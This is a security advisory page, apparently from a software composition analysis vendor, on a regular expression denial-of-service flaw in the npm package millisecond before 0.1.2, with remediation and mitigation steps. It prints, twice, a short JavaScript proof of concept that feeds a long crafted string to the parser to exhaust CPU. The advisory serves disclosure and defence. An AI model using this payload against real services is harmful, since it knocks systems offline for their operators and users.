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Regular Expression Denial of Service in millisecondGHSA-m489-xr35-fjxr

Fix: unshiftio/millisecond#4

GHSA-m489-xr35-fjxr is a security vulnerability in millisecond. A fix is available for millisecond — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2021 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

41other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
millisecondnpm
79Kdownloads / week

Description

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmillisecondall versions0.1.2npm install millisecond@0.1.2

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for millisecond, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update millisecond to 0.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m489-xr35-fjxr is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ## Recommendation Update to version 0.1.2 or later.
O3 Security · Impact-Aware SCA

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Regular Expression Denial of Service in millisecond